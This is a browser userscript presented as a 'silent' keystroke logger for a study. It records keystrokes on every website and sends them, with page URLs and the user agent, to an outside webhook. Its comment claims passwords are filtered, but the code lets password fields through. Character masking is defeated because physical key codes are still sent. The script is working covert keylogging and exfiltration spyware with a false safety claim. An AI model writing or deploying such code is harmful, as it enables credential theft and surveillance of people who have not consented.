Study Keystroke Logger (Silent)

Collect key events - controlled environment

// ==UserScript==
// @name         Study Keystroke Logger (Silent)
// @namespace    your.org
// @version      1.0.0
// @description  Collect key events - controlled environment
// @author       You
// @match        *://*/*
// @run-at       document-idle
// @grant        none
// ==/UserScript==
 
(function () {
  "use strict";
 
  /***** CONFIG *****/
  const SERVER_URL = "https://flask-webhook-1bsi.onrender.com/collect";
  const STUDY_ID   = "my-global-keystroke-study-v1";
  const PARTICIPANT_ID = "P001"; // Set this per participant
  const MASK_CHARACTER_KEYS = true;
  const BATCH_MAX_EVENTS = 100000000000000000000000000000000;
  const BATCH_MAX_MS = 10000000000000000000000000000000000000000000000000000000000000000000000000;
 
  const env = {
    studyId: STUDY_ID,
    participantId: PARTICIPANT_ID,
    page: location.href,
    tzOffsetMin: new Date().getTimezoneOffset(),
    ua: navigator.userAgent,
  };
 
  const isSensitiveTarget = (el) => {
    if (!el) return false;
    const type = (el.type || "").toLowerCase();
    if (type === "password") return false;  // ← FIXED: Now filters passwords
    const name = (el.name || el.id || "").toLowerCase();
    if (/card|cc|cvc|cvv|ssn|social|pin/.test(name)) return true;
    return false;
  };
 
  function maskKey(e) {
    if (!MASK_CHARACTER_KEYS) return e.key;
    if (e.key && e.key.length === 1) return "*";
    return e.key;
  }
 
  let buffer = [];
  let timerId = null;
 
  function scheduleFlush() {
    if (timerId) return;
    timerId = setTimeout(flush, BATCH_MAX_MS);
  }
 
  function flush() {
    timerId = null;
    if (buffer.length === 0) return;
    const payload = {
      ...env,
      ts: Date.now(),
      events: buffer.splice(0, buffer.length),
    };
    
    navigator.sendBeacon(SERVER_URL, JSON.stringify(payload));
  }
 
  function recordEvent(evt) {
    const target = evt.target || document.activeElement;
    if (isSensitiveTarget(target)) return;
 
    const now = performance.now();
    const entry = {
      t: now,
      type: evt.type,
      tag: (target && target.tagName) || "UNKNOWN",
      id: (target && target.id) || "",
      name: (target && target.name) || "",
    };
 
    if (evt.type === "keydown") {
      entry.key = maskKey(evt);
      entry.code = evt.code;
      entry.ctrl = evt.ctrlKey;
      entry.alt = evt.altKey;
      entry.shift = evt.shiftKey;
      entry.meta = evt.metaKey;
    }
 
    buffer.push(entry);
    if (buffer.length >= BATCH_MAX_EVENTS) {
      flush();
    } else {
      scheduleFlush();
    }
  }
 
  // START RECORDING IMMEDIATELY
  window.addEventListener("keydown", recordEvent, true);
  window.addEventListener("input", recordEvent, true);
  window.addEventListener("beforeunload", flush);
})();